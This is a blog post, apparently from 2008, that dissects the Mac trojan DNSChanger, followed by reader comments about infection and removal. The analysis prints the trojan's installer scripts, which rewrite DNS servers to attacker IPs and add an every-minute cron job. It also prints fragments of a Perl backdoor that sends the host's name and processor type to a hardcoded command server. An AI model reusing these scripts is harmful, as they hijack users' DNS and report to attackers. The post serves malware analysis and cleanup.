::::::::::::
DMG : ~ 17.1 KB (17,598 bytes)
Installer.pkg : ~132 KB (135,168 bytes)
:::::::::::::::::
::::::::::::::::::::::::::::::::::
The disk image file will be automatically mounted but not extracted. This means, the user has to manually install the downloaded file.
The downloaded installer – Install.pkg, contains the following files:
Info.plist is the first file invoked during the installation. This file contains detailed usage information and behavior such as:
Application Type: MacVideo
Release Version: 1.0
Authorization Action: RootAuthorization
Default Location: /Library/Internet Plug-Ins/
Installed Size: 60
Restart Action: NoRestart
Followed by Archive.bom, which contain information of files to install.
.
./Mozillaplug.plugin
./Mozillaplug.plugin/Contents
./Mozillaplug.plugin/Contents/Info.plist
./Mozillaplug.plugin/Contents/MacOS
./Mozillaplug.plugin/Contents/MacOS/VerifiedDownloadPlugin
./Mozillaplug.plugin/Contents/Resources
./Mozillaplug.plugin/Contents/Resources/VerifiedDownloadPlugin.rsrc
./Mozillaplug.plugin/Contents/Resources/VerifiedDownloadPlugin.rsrc.ROVE
./Mozillaplug.plugin/Contents/Resources/VerifiedDownloadPlugin.rsrc.bak
./Mozillaplug.plugin/Contents/version.plist
./QuickTime.xpt
./plugins.settings
./sendreq
It then access the files description.plist and PkgInfo, which gives the following information:
Version: 1.0
Description: “Its a suppa puppa desc yo”
Title: MacCodec
PkgInfo: pmkrpkg1
Followed by BundleVersions.plist for version informations.
The installer comes with a “License Agreement”. Upon clicking “Continue”, a message box will display requiring the user to click “Agree” to continue the installation process.
Ok, let’s look further on the malicious codes.
Postinstall and postupgrade contains exactly the same code, as well as preinstall and preupgrade.
Preinstall is invoked after the user agreed on the License Agreement. This trojan does not have damaging payloads, except it only modifies users’ DNS setting. Let’s check the code.
:::::::::::::::::::::::
Preinstall script:
s1=85.255.115.22
s2=85.255.112.190
path=”/Library/Internet Plug-Ins”
PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e ’s/.*PrimaryService : //’)<
Using Scutil, it retrieves user’s primary network interface.
open
get State:/Network/Global/IPv4
d.show
quit
EOF
)
It then modifies DNS name server IP to s1=85.255.115.22 and s2=85.255.112.190.
/usr/sbin/scutil
open
d.init
d.add ServerAddresses * $s1 $s2
set State:/Network/Service/$PSID/DNS
quit
**Take note: IP addresses may change per variant.
It checks for a crontab file – plugins.settings, in this location “/Library/Internet Plug-Ins”. This file is a marker, it indicates whether this trojan has been previously installed or not.
exist=`crontab -l|grep plugins.settings`
If plugins.settings does not exist (meaning, it was not yet installed), the installation will proceed by dropping a temporary file \cron.inst
echo “* * * * * \”$path/plugins.settings\”>/dev/null 2>&1″ > cron.inst
Cron.inst has the following strings:
It will execute cron.inst using Crontab command.
crontab cron.inst
Cron.inst executes another script, Quicktime.xpt. This is found in this location /Library/Internet Plug-Ins/
“/Library/Internet Plug-Ins/QuickTime.xpt”
In background, it will create a temporary file named, 1.
>/dev/null 2>&1
QuickTime.xpt redirects its output to this file instead of popping error or script command to the user’s screen.
Once cron.inst is executed, preinstall script will delete this temporary file.
rm -rf cron.inst
fi
QuickTime.xpt script:
This script is inside Archive.pax.gz. The installation ends by executing cron.inst, which extracts its content to this location /Library/Internet Plug-Ins/.
Like preinstall script, QuickTime.xpt checks for users network information, attempt to modify DNS name server settings, checks the existence of QuickTime.xpt and if exist, it creates cron.inst, execute it and delete temporary file, 1.
Postinstall script:
#!/bin/sh
path=”/Library/Internet Plug-Ins/”
/usr/bin/perl “$path/sendreq”
rm -rf “$path/sendreq”
It executes sendreq, which is a perl script and deletes it.
SendReq Script:
This perl base bot acts as a backdoor client component and communicates to a remote server through socket.
#!/usr/bin/perl
use IO::Socket;
It uses MIME base64 encoding to transmit messages through HTTP.
my $eol = $_[1];
$eol = “\n” unless defined $eol;
my $res = pack(“u”, $_[0]);
# Remove first character of each line, remove newlines
$res =~ s/^.//mg;
$res =~ s/\n//g;
$res =~ tr|` -_|AA-Za-z0-9+/|; # `# help emacs
# fix padding at the end
my $padding = (3 – length($_[0]) % 3) % 3;
$res =~ s/.{$padding}$/’=’ x $padding/e if $padding;
# break encoded string into lines of no more than 76 characters each
if (length $eol) {
$res =~ s/(.{1,76})/$1$eol/g;
}
return $res;
}
The bot command-and-control server:
my $server=”85.255.121.37″;
**Take note: IP addresses may change per variant.
Executes uname -p command to retrieve victim’s operating system processor type and hostname for the IP address.
my $cmd=’uname -p;echo “;”;hostname’;$cmd=~s/\n//g;
Encode the gathered information, indicating “mac”.
Send a request to remote server.
This bot sends a request to the remote server, attempting to establish a connection through TCP port 80.
print $socket $request;
close($socket);
Captured packet looks like this:
It sends victim’s information in base64 encoded strings:
Decoded version:
Furthermore, later versions of this trojan scripts are obfuscated making it little difficult for security analyst and researchers to read the code.
::::::::::::::::
Trojan DNSChanger is as simple as changing DNS settings – no complication and no destructive behavior. These are simple scripts that are widely available online, built into mac installer and deployed to several existing fake codec domains.
The lesson here is that malwares or threats in Mac does not have to be complicated. With the vast information available online, it is possible that an ordinary person without programming background – also called script kiddie, can cause interruption and damage to our daily lives.
[...] Update4: Apparantly, MacScan didn’t finish the job properly. I started searching out more information about the problem and found a site containing analysis of what the trojan does. [...]
Pingback by Helene’s site of wonder » Blog Archive » Spyware on macosx — August 21, 2008 @ 11:34 pm |
I fell for this trojan, too. I have ClamXav running on my Mac, and it didn’t catch it. When it installed, it added the DNS addresses you listed, but it faded them out, too. As a result, I couldn’t change or delete them. Following your analysis, I went to /Library/Internet Plug-Ins/ and removed plugins.settings, QuickTime.xpt, and Mozillaplug.plugin. (sendreq was nowhere to be found.) I then restarted my computer, and it restored the correct DNS addresses–because those are pulled from my home network’s router.
I still have the original .dmg if you want it.
Comment by Anonymous Coward — August 25, 2008 @ 10:59 pm |
[...] Analysis of Trojan DNSChanger Malware Retailer Includes Trojan for Mac Fake YouTube Installs OS X Trojan DNSChange [...]
Pingback by Unusual Pop-up Ads « Threat Researcher — August 30, 2008 @ 2:21 pm |
I’ve recently spotted a variant that’s trying to talk to 64.28.188.220 and the C2 server.
Comment by mongo mcginty — September 2, 2008 @ 2:40 am |
erh above should say “as the c2 server” (c2= command and control, fwiw)
Comment by mongo mcginty — September 2, 2008 @ 2:41 am |
Was infected too. Bought a Mac because of all the crap I had on Windows machines…
Comment by Frank — September 22, 2008 @ 11:40 am |
Hi Frank, do you still have the URL where you downloaded the DMG ?
Comment by Methusela Cebrian Ferrer — September 23, 2008 @ 4:51 am |
I recently installed it by mistake or I think that I did. I looked in Library-internet plugins and couldn’t find quicktime.xpt or moxillaplug.plugin. I checked DNS and did not see s1=85.255.115.22 and s2=85.255.112.190 or 64.28.188.220. Did I dodge a bullet?? When I tried to install, it says installation failed. What should I look for? How do I know if it installed? How can I get rid of it if I have it?
Thanks.
Comment by mitch — December 7, 2008 @ 8:40 am |
Just wondering…what can hackers do with your modified DNS settings? What do they really get out of it? In other words, what’s the real point to these trojans…
Comment by Liane — February 5, 2009 @ 5:41 pm |
I’m glad you made this question.
This is what we call “DNS Pharming Attack”. So a malware like DNSChanger trojan attempts to modify users DNS settings so that when user type a valid URL they are redirected to a list of websites that belongs to these attackers. As an effect, an innocent/infected user will thought that he/she is clicking a valid website like example, Facebook.com instead its completely loading different page. Pharming provides an attacker a advantage to hijack your browser and may cause disclosure of your private information, browsing behavior, direct to exploit websites, push further malware, push advertisements (so, you’ll find pop-ups coming out from time to time).
For common user perspective, this attack doesn’t seems harmful, however this is where attacker silently takes real advantage of the infection.
I hope this provides you clear understanding of this threat.
Comment by Methusela Cebrian Ferrer — February 7, 2009 @ 3:35 am |
Got the DNS Changer but a different type. The IP is 85.255.113.126 and 85.255.112.227
Used terminal and “sudo crontab -l” and found:
* * * * * “/Library/Internet Plug-Ins/QuickTime.xpt”>/dev/null 2>&1
However I can’t remove it. I only get “localized rsrc” is using it and therefore I can’t empty thrash.
What to do?
Comment by Dr Alban — February 10, 2009 @ 4:13 pm |
Hi Dr Alban, I hope my reply is not too late. To remove type “sudo crontab -r” – however, it would be better to do this without internet connection. Also, don’t forget to check your DNS settings and look for IP address starting with 85.xx.xx.xx and make sure you remove this entry.
Let me know how it goes.
Comment by Methusela Cebrian Ferrer — February 11, 2009 @ 10:20 am |
i have the stupid wsearch.net thing and i looked for all the files that you say to remove and i tried to change the dns but its still there i dont know how to remove it i have a mac 10.4.11 and i have no clue how to make it stop i have tried all the things and it seems to be getting worse please help
Comment by trenton — March 2, 2009 @ 10:52 am |
Hi Trenton, Wsearch.net is not related to any malware … you might want to check this: http://ithreats.net/2008/09/21/wsearchnetunknown-is-it-new-dnschanger/
One of the reader’s comment …
“This is problem with SMC wireless router/modems. I am an Interent Support Rep and have seen this problem with customer and described on other sites. The problem is that the default search domain on these routers is set to mygateway.net. Changing this to a legitimate search domain is a work around for the problem, but I have seen no explaination for why the default serch domain is set to this. It has been reported for more than one ISP so it not something that just one ISP is doing.”
Comment by Methusela Cebrian Ferrer — March 3, 2009 @ 8:01 am |
Not that I’m totally impressed, but this is a lot more than I expected for when I found a link on SU telling that the info is awesome. Thanks.
Comment by How to Get Six Pack Fast — April 15, 2009 @ 2:50 pm |
If someone still has the .dmg, could you please send it to me at antoinebis at gmail.com. I would like to test my program.
Thanks !
Comment by Cleaner — May 21, 2009 @ 1:42 pm |